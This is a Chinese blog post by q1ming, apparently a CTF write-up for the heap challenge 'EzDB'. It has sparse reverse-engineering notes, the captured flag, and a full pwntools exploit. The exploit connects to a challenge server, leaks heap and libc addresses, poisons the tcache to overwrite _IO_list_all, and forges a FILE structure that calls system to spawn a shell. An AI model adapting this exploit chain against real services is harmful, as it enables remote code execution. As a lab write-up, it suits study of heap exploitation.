EzDB


例行检查

逆向分析

1::create

2::free

先释放大堆块再释放小堆块;

3::insert

先用这个存储:

从低地址(current)找4字节空间存放meta,然后从高地址(end)开辟空间存放数据;

这个空间的计算:

对吗?

slot_id其实就是第几个meta:

4::show

5::edit

还是先用这个结构:

攻击成功

flag{3d63_c4535_c4u53_7r0ubl35}

exp

from pwn import *
import sys

file = "./db"
if len(sys.argv) == 1 or sys.argv[1] == 'l':
sh = process(file)
elif sys.argv[1] == 'r':
sh = remote("61.147.171.106", 62983)
elf = ELF(file)

def ru(string):
sh.recvuntil(string)
def dbg(con=''):
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return
if isinstance(con, int):
con = "b *$rebase(" + hex(con)+")"
gdb.attach(sh, con)
pause()
def sl(content):
sh.sendline(content)
def itr():
sh.interactive()
context.log_level = 'debug'
def get_heap():
res = 0
res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_libc():
res = 0
res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_tcache():
res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00"))
return res

def choice(num):
ru(">>>")
sl(str(num))
def add(idx):
choice(1)
ru("Index")
sl(str(idx))
def free(idx):
choice(2)
ru("Index")
sl(str(idx))
def record(idx, size, con):
choice(3)
ru("Index")
sl(str(idx))
ru("Length")
sl(str(size))
ru("Varchar")
sh.send(con)
def show(idx, slot):
choice(4)
ru("Index")
sl(str(idx))
ru("ID")
sl(str(slot))
def edit(idx, slot, size, con):
choice(5)
ru("Index")
sl(str(idx))
ru("ID")
sl(str(slot))
ru("Length")
sl(str(size))
ru("Varchar")
sh.send(con)

def func():
add(0)
record(0, 0x400-3, "\x08"*(0x400-3))
show(0, 0)
ru("\x05")
addr = get_tcache()
print(f"addr == 0x{addr:x}")
heap = addr << 12
print("heap :", hex(heap))
pause()

for i in range(1, 10, 1):
add(i)
for i in range(2, 9, 1):
free(i)
free(1)
show(0, 0)
addr = get_libc()
system = addr - 0x1c9f70
libc = ELF("./libc.so.6")
base = system - libc.sym['system']
print("addr :", hex(addr))
print("base :", hex(base))
pause()
for i in range(2, 9, 1):
add(i)
add(1)
free(1)
show(0, 0)
ru("\x05")
tcahce = get_tcache()
sh.recv(3)
key = u64(sh.recv(8))
#print("key :", hex(key))
#pause()

add(1)
free(2)
free(1)


listall = base + libc.sym['_IO_list_all']
pay = b'\x08'*0x405+p64(0x21)+p64(tcahce)+p64(key)+p64(0)+p64(0x411)+p64(tcahce^(listall-0x3f0))
edit(0, 0, len(pay), pay)

add(1)
add(2)

f1_addr = heap - 0x110
pay = p64(f1_addr)*2
record(2, 0x10, pay)

jumps = base + libc.sym['_IO_wfile_jumps']

pay = b' _;sh\x00\x00'
pay = pay.ljust(0x28, b'\x00')
pay += p64(1)
pay = pay.ljust(0x68, b'\x00')
pay += p64(system)
pay = pay.ljust(0xa0, b'\x00')
pay += p64(f1_addr)
pay = pay.ljust(0xd8, b'\x00')
pay += p64(jumps) + p64(f1_addr)
pay = b'\x09'*13+pay
edit(0, 0, len(pay), pay)


dbg()


sh.interactive()

if __name__ == "__main__":
func()


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录